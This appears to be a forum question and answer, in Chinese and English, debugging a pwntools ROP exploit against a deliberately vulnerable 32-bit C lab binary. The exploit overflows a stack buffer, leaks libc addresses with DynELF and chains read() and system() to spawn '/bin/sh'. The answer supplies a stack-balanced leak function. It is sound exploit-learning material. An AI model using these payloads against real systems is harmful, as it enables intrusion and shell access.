使用 pwntools。为什么这个额外的和(看起来无关紧要)线可以改变我的 rop 的结果

using pwntools. why this additional and(it seems irrelavent) line can change the result of my rop

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

平台:gcc 版本 4.8.4 linux 4.2.0-18 x64 complie:gcc -m32 -fno-stack-protector test.c -o level2

from pwn import *

elf=ELF('./level2')
plt_write=elf.symbols['write']
plt_read=elf.symbols['read']
vulfun_addr=0x804844d

def leak(address):
    payload1='a'*140+p32(plt_write)+p32(vulfun_addr)+p32(1)+p32(address)+p32(4)
    p.send(payload1)
    data=p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

p=process('./level2')

d=DynELF(leak,elf=ELF('./level2'))

system_addr=d.lookup('system','libc')
print "system_addr=" + hex(system_addr)
scanf=d.lookup('scanf','libc')#????????????if I add this line, rop success.
print "scanf_addr=" + hex(scanf)

bss_addr=0x804a024
pppr=0x0804850d

payload2='a'*140+p32(plt_read)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)

payload2+=p32(system_addr)+p32(vulfun_addr)+p32(bss_addr)

print "\n###sending payload2 ...###"
p.send(payload2)
p.send('/bin/sh[=11=]')

p.interactive()

真想不明白那一行为什么能成功。如果我删除它,目标将在 read() 处等待(它没有从 p.send('/bin/sh\0') 获取字符串)然后以代码 -11 退出。除此之外,一切顺利

也许是关于缓冲区刷新?

这是因为你的泄漏函数在堆栈上覆盖了太多的字节。看来是环境变量被这次泄露操作给破坏了。所以系统函数中的do_system进程无法正常运行。

请提醒使用leak函数时平衡栈很重要

这将解决您的问题:

def leak(address):  
    payload = 'A'*140 + p32(pr) + p32(0) + p32(pr) + p32(0) + p32(plt_write) + p32(main_address) #using two "pop | ret" gadget to balance the stack
    payload += p32(1) + p32(address) +p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

两个"pop|ret" gadgat 做了一个$esp+16,可以看到每次leak操作后栈上buf的地址不会再变了。